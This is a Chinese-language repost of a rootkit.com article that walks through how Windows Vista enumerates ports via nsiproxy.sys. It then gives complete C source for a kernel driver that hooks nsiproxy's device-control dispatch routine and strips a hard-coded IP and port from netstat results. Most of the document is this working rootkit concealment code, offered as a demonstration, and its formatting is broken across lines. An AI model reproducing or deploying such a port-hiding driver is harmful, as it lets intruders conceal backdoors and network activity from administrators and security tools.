Windows Vista 下挂钩NSI模块隐藏端口

作者:cardmagic

原文链接:http://www.rootkit.com/newsread.php?newsid=735

Windows Vista 的网络模块较从前发生了很大变化,从而导致很多旧的端口隐藏工具无法使用.

本文将介绍一种简单的在Vista下隐藏端口的方法,希望对大家有所帮助.

事实上在Vistanetstat.exe调用Iphlpapi.dll导出的InternalGetTcpTable2函数实现对所有打开端口的列举. InternalGetTcpTable2随后调用由nsi.dll导出的NsiAllocateAndGetTable 函数,nsi.dll则调用NsiEnumerateObjectsAllParametersExnsiproxy.sys发送Irp最终转入内核.nsiproxy.sys又只是对netio.sys的简单封装,它最终调用了netio.sys导出的内核服务例程.

我们将通过使用挂钩NSI内核模块派遣例程这样一种比较简单的方法,来演示如何隐藏Vista的指定端口.挂钩派遣例程是一个老话题了,这次我们将他应用于nsiproxy.sys.请注意在钩子中对NSI内容的过虑处理:)

下面是代码(注意:我只在Windows Vista RTM 32bit系统下进行了测试):

 

///
//  Filename: PortHidDemo_Vista.c
//  
//  Author: CardMagic(Edward)
//  Email: [email protected]
//  MSN:  onlyonejazz at hotmail.com
//
//  Description: 
//             A Demostration Of Hiding
//            Specified Port Under Windows Vista RTM 32bit.
//       Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 compatible
//
//  

#include 
" stdlib.h "
#include 
" ntifs.h "

unsigned 
short  htons(unsigned  short  hostshort);
unsigned 
long   inet_addr( const   char   * name);
typedef unsigned 
long  DWORD;


#define  LOCALHIDEIP "10.28.157.71"
#define  LOCALHIDEPORT 139


#define  IOCTL_NSI_GETALLPARAM 0x12001B

extern  POBJECT_TYPE  * IoDeviceObjectType, * IoDriverObjectType;
PDRIVER_OBJECT pNsiDrvObj 
=   0 ;
PDRIVER_DISPATCH orgNsiDeviceIoControl 
=   0 ;


DWORD gLocalPort
= 0 ,gLocalIp = 0 ;

typedef 
struct  _HP_CONTEXT
{
    PIO_COMPLETION_ROUTINE oldIocomplete;
    PVOID oldCtx;    
    BOOLEAN bShouldInvolve;
    PKPROCESS pcb;
}
HP_CONTEXT, * PHP_CONTEXT;

typedef 
struct  _INTERNAL_TCP_TABLE_SUBENTRY
{
    
char bytesfill0[2];
    USHORT Port;
    DWORD dwIP;
    
char bytesfill[20];

}
INTERNAL_TCP_TABLE_SUBENTRY, * PINTERNAL_TCP_TABLE_SUBENTRY;

typedef 
struct  _INTERNAL_TCP_TABLE_ENTRY
{
    INTERNAL_TCP_TABLE_SUBENTRY localEntry;
    INTERNAL_TCP_TABLE_SUBENTRY remoteEntry;
    
}
INTERNAL_TCP_TABLE_ENTRY, * PINTERNAL_TCP_TABLE_ENTRY;

typedef 
struct  _NSI_STATUS_ENTRY
{
    
char bytesfill[12]; 

}
NSI_STATUS_ENTRY, * PNSI_STATUS_ENTRY;

typedef 
struct  _NSI_PARAM
{
    
//
    
// Total 3CH size
    
//
    DWORD UnknownParam1;
    DWORD UnknownParam2;
    DWORD UnknownParam3;
    DWORD UnknownParam4;
    DWORD UnknownParam5;
    DWORD UnknownParam6;
    PVOID lpMem;
    DWORD UnknownParam8;
    DWORD UnknownParam9;
    DWORD UnknownParam10;
    PNSI_STATUS_ENTRY lpStatus;
    DWORD UnknownParam12;
    DWORD UnknownParam13;
    DWORD UnknownParam14;
    DWORD TcpConnCount;


}
NSI_PARAM, * PNSI_PARAM;



unsigned 
short  htons(unsigned  short  a)
{
    unsigned 
short b = a;
    b 
= ( b << 8 );
    a 
= ( a >> 8 );
    
return ( a | b );
}
;

unsigned 
long  inet_addrt( const   char *  name)
{
    
int i,j,p;
    
int len = strlen(name);
    unsigned 
long temp_val[4];
    
char namesec[10] ;

    
for(i = 0,j =0,p =0;i < len;i++)
    
{
        memset(namesec,
0,10);
        
if('.' == name[i])
        
{

            
if(p)
                strncpy(namesec,name
+p+1,i-p);
            
else
                strncpy(namesec,name,i);
            temp_val[j] 
= atoi(namesec);
            j
++;
            p 
= i;
        }

    }


    strncpy(namesec,name
+p+1,i-p);
    temp_val[j] 
= atoi(namesec);


    
return (temp_val[0]|(temp_val[1]<<8)|(temp_val[2]<<16)|(temp_val[3]<<24));
}




NTSTATUS
HPCompletion(
             IN PDEVICE_OBJECT  DeviceObject,
             IN PIRP  Irp,
             IN PVOID  Context
             )
{
    PIO_STACK_LOCATION irpsp 
= IoGetCurrentIrpStackLocation(Irp);
    PIO_STACK_LOCATION irpspNext 
= IoGetNextIrpStackLocation(Irp);
    PHP_CONTEXT pCtx 
= Context;
    PNSI_PARAM nsiParam;
    
int i;
    

    
if(NT_SUCCESS(Irp->IoStatus.Status))
    
{

        nsiParam 
= Irp->UserBuffer;
        
if(MmIsAddressValid(nsiParam->lpMem))
        
{
            
//
            
// netstat will involve internal calls which will use 
            
// nsiParam structure
            
//
            if(    (nsiParam->UnknownParam8 == 0x38))
            
{
                KAPC_STATE apcstate;
                PNSI_STATUS_ENTRY pStatusEntry 
= (PNSI_STATUS_ENTRY)nsiParam->lpStatus;
                PINTERNAL_TCP_TABLE_ENTRY pTcpEntry 
= (PINTERNAL_TCP_TABLE_ENTRY)nsiParam->lpMem;
                
int nItemCnt = nsiParam->TcpConnCount;
                

                KeStackAttachProcess(pCtx
->pcb,&apcstate);
                
                
//
                
//make sure we are in the context of original process
                
//
                for(i = 0;i < nItemCnt;i ++)
                
{

                    
if((pTcpEntry[i].localEntry.dwIP == gLocalIp)&&(pTcpEntry[i].localEntry.Port == gLocalPort))
                    
{
                        
//
                        
//NSI will map status array entry to tcp table array entry
                        
//we must modify both synchronously
                        
//
                        RtlCopyMemory(&pTcpEntry[i],&pTcpEntry[i+1],sizeof(INTERNAL_TCP_TABLE_ENTRY)*(nItemCnt-i));
                        RtlCopyMemory(
&pStatusEntry[i],&pStatusEntry[i+1],sizeof(NSI_STATUS_ENTRY)*(nItemCnt-i));
                        nItemCnt
--;
                        nsiParam
->TcpConnCount --;
                        i
--;
                        

                        
                    }

                }


                KeUnstackDetachProcess(
&apcstate);
                
            }



        }

        
    }


    irpspNext
->Context = pCtx->oldCtx;
    irpspNext
->CompletionRoutine = pCtx->oldIocomplete;
    
    
//
    
//free the fake context
    
//
    ExFreePool(Context);



    
if(pCtx->bShouldInvolve)
        
return irpspNext->CompletionRoutine(DeviceObject,Irp,Context);
    
else
    
{
        
if (Irp->PendingReturned) {
            IoMarkIrpPending(Irp);
        }

        
return STATUS_SUCCESS;
    }

    

}




NTSTATUS
ObReferenceObjectByName (
                         IN PUNICODE_STRING ObjectName,
                         IN ULONG Attributes,
                         IN PACCESS_STATE AccessState OPTIONAL,
                         IN ACCESS_MASK DesiredAccess OPTIONAL,
                         IN POBJECT_TYPE ObjectType,
                         IN KPROCESSOR_MODE AccessMode,
                         IN OUT PVOID ParseContext OPTIONAL,
                         OUT PVOID 
* Object
                         );


NTSTATUS HPUnload(IN PDRIVER_OBJECT DriverObject)
{
    LARGE_INTEGER waittime;

    waittime.QuadPart 
= -50*1000*1000;
    InterlockedExchange(
&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), orgNsiDeviceIoControl);

    
//
    
//delay loading driver to make it more secure
    
//
    KeDelayExecutionThread(KernelMode,0,&waittime);

    
return STATUS_SUCCESS;
}

   
NTSTATUS HPDummyDeviceIoControl( 
                                IN PDEVICE_OBJECT  DeviceObject,
                                IN PIRP  Irp
                                )
{
    ULONG         ioControlCode;
    PIO_STACK_LOCATION irpStack;
    ULONG          status;

    irpStack 
= IoGetCurrentIrpStackLocation(Irp);

    ioControlCode 
= irpStack->Parameters.DeviceIoControl.IoControlCode;

    
if(IOCTL_NSI_GETALLPARAM == ioControlCode)
    
{
        
if(irpStack->Parameters.DeviceIoControl.InputBufferLength == sizeof(NSI_PARAM))
        
{
            
//
            
//only care the related I/O
            
//
            PHP_CONTEXT ctx = (HP_CONTEXT*)ExAllocatePool(NonPagedPool,sizeof(HP_CONTEXT));
            ctx
->oldIocomplete = irpStack->CompletionRoutine;
            ctx
->oldCtx = irpStack->Context;
            irpStack
->CompletionRoutine = HPCompletion;
            irpStack
->Context = ctx;
            ctx
->pcb = IoGetCurrentProcess();

            
if((irpStack->Control&SL_INVOKE_ON_SUCCESS) ==SL_INVOKE_ON_SUCCESS)
                ctx
->bShouldInvolve = TRUE;
            
else
                ctx
->bShouldInvolve = FALSE;
            irpStack
->Control |= SL_INVOKE_ON_SUCCESS;

                
        }




    }


    
//
    
//call original I/O control routine
    
//
    status =  orgNsiDeviceIoControl(DeviceObject,Irp);

    
return status;


}



NTSTATUS DriverEntry(
                   IN PDRIVER_OBJECT  DriverObject,
                   IN PUNICODE_STRING RegistryPath
                    )
{
    

    
int i;
    NTSTATUS status;
    UNICODE_STRING uniNsiDrvName;
    

#if DBG
        _asm 
int 3 //debug
#endif

    DriverObject
->DriverUnload = HPUnload;

    RtlInitUnicodeString(
&uniNsiDrvName,L"/Driver/nsiproxy");

    status 
= ObReferenceObjectByName(&uniNsiDrvName,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,&pNsiDrvObj);

    
if(!NT_SUCCESS(status))
    
{
        
return STATUS_SUCCESS;
        
    }



    
//
    
//store the original dispatch function of NSI driver
    
//
    orgNsiDeviceIoControl = pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL];
    

    gLocalIp 
= inet_addrt(LOCALHIDEIP);
    gLocalPort 
= htons(LOCALHIDEPORT);

    
//
    
//hook NSI dispatch routine
    
//
    InterlockedExchange(&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), HPDummyDeviceIoControl);

    
return STATUS_SUCCESS;
}







你可能感兴趣的:(win32)